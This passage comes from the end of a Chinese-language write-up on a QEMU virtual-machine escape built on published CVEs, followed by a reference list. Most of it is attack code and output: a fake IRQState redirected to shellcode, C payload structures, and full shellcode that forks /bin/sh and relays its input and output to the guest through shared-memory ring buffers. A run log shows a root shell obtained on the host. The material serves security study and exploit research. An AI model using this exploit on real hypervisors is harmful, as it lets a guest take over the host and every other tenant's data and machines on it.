与此同时,如果将第一个构造结构体的 handler 及第一个参数分别修改为 Shellcode 的地址和数据,就可以直接达到执行的目的。Shellcode 通过在某个端口上绑定服务,在其他机器上可以直接反弹拿到权限:

fake_irq[0].handler = shellcode_addr;
fake_irq[0].arg_1 = shellcode_data;

以上方法可能会受到防火墙的限制,还有另一种共享内存的方法同样可以实现提权的操作。首先创建两块缓冲区(分别用于客户机到宿主机、宿主机到客户机两个方向),并分别提供自旋锁来控制各自的读写。Shellcode 用于打开一个 /bin/sh 进程,同时创建两个线程,通过共享内存分别用于 Exploit 对 Shell 的读写操作(stdin/stdout),同时在 Exploit 中还有第三个线程用于处理错误输出(stderr):

     GUEST                   SHARED MEMORY                  HOST
     -----                   -------------                  ----
 +------------+                                         +------------+
 |  exploit   |                                         |    QEMU    |
 |  (thread)  |                                         |   (main)   |
 +------------+                                         +------------+

 +------------+                                         +------------+
 |  exploit   | sm_write()             head   sm_read() |    QEMU    |
 |  (thread)  |----------+               |--------------|  (thread)  |
 +------------+          |               V              +---------++-+
                         |  xxxxxxxxxxxxxx----+          pipe IN  ||
                         |  x                 |         +---------++-+
                         |  x   ring buffer   |         |    shell   |
                tail ------>x (filled with x) ^         | fork proc. |
                            |                 |         +---------++-+
                            +-------->--------+          pipe OUT ||
 +------------+                                         +---------++-+
 |  exploit   | sm_read()              tail  sm_write() |    QEMU    |
 |  (thread)  |----------+               |--------------|  (thread)  |
 +------------+          |               V              +------------+
                         |  xxxxxxxxxxxxxx----+
                         |  x                 |
                         |  x   ring buffer   |
                head ------>x (filled with x) ^
                            |                 |
                            +-------->--------+

payload 的主要结构体如下,包括伪造的 IRQState 结构体、Shellcode 以及相关函数地址:

struct payload {
	struct IRQState    fake_irq[2]; // 用于调用mprotect的结构体
	struct shared_data shared_data; // 用于向payload传入一些参数
	uint8_t            shellcode[1024];
	uint8_t            pipe_fd2r[1024];
	uint8_t            pipe_r2fd[1024];
};

struct shared_data {
	struct GOT       got; // 包含Shellcode会使用的相关函数地址
	uint8_t          shell[64]; // shell命令(/bin/sh字符串)
	hptr_t           addr; // 共享内存的物理地址
	struct shared_io shared_io;
	volatile int     done; // 判断Shellcode是否已经运行
};

Shellcode 形式如下:

/* main code to run after %rip control */
void shellcode(struct shared_data *shared_data) {
	pthread_t t_in, t_out, t_err;
	int in_fds[2], out_fds[2], err_fds[2];
	struct brwpipe *in, *out, *err;
	char *args[2] = { shared_data->shell, NULL };

	if (shared_data->done) { // 防止Shellcode运行多次
		return;
	}

	shared_data->got.madvise((uint64_t *)shared_data->addr,
	                         PHY_RAM, MADV_DOFORK); // 取消MADV_DONTFORK标识

	shared_data->got.pipe(in_fds);
	shared_data->got.pipe(out_fds);
	shared_data->got.pipe(err_fds);

	in = shared_data->got.malloc(sizeof(struct brwpipe));
	out = shared_data->got.malloc(sizeof(struct brwpipe));
	err = shared_data->got.malloc(sizeof(struct brwpipe));

	in->got = &shared_data->got;
	out->got = &shared_data->got;
	err->got = &shared_data->got;

	in->fd = in_fds[1];
	out->fd = out_fds[0];
	err->fd = err_fds[0];

	in->ring = &shared_data->shared_io.in;
	out->ring = &shared_data->shared_io.out;
	err->ring = &shared_data->shared_io.err;

	if (shared_data->got.fork() == 0) { // 子进程
		shared_data->got.close(in_fds[1]);
		shared_data->got.close(out_fds[0]);
		shared_data->got.close(err_fds[0]);
		shared_data->got.dup2(in_fds[0], 0);
		shared_data->got.dup2(out_fds[1], 1);
		shared_data->got.dup2(err_fds[1], 2);
		shared_data->got.execv(shared_data->shell, args); // 开启一个Shell
	} else { // 父进程
		shared_data->got.close(in_fds[0]);
		shared_data->got.close(out_fds[1]);
		shared_data->got.close(err_fds[1]);

		shared_data->got.pthread_create(&t_in, NULL,
		                                shared_data->got.pipe_r2fd, in);
		shared_data->got.pthread_create(&t_out, NULL,
		                                shared_data->got.pipe_fd2r, out);
		shared_data->got.pthread_create(&t_err, NULL,
		                                shared_data->got.pipe_fd2r, err);

		shared_data->done = 1;
	}
}

最后执行编译好的 Exploit,拿到宿主机权限(获取到执行 QEMU 的用户权限):

root@ubuntu:~/vm_escape# ./vm-escape
vm-escape: [+] found 39 potential ObjectProperty structs in memory
vm-escape: [+] .text mapped at 0x7fe0880ffd30
vm-escape: [+] mprotect mapped at 0x7fe0880ff730
vm-escape: [+] qemu_set_irq mapped at 0x7fe0882fe8eb
vm-escape: [+] VM physical memory mapped at 0x7fdff4000000
vm-escape: [+] payload at 0x7fe06d3bf000
vm-escape: [+] patching packet...
vm-escape: [+] running first attack stage
vm-escape: [+] running shellcode at 0x7fe06d3bf2d0
vm-escape: [!] enjoy your shell
shell > id
uid=0(root) gid=0(root) groups=0(root)

6. References

QEMU escape: Part 1 Environment Set-up - 氷菓
QEMU escape: Part 2 Debugging Environment Set-up - 氷菓
QEMU escape: Part 3 Information Leakage (CVE-2015-5165) - 氷菓
QEMU Escape: Part 4 Hijack Control Flow (CVE-2015-7504) - 氷菓
QEMU Escape: Part 5 Put Everything Together (nographic mode) - 氷菓
VM escape - QEMU Case Study - Mehdi Talbi & Paul Fariello
QEMU Internal: PCNET - 氷菓
qemu 逃逸漏洞解析 - PDS
CVE-2015-5165 漏洞复现——QEMU 信息泄露漏洞 - Resery
Qemu VM Escape - Atum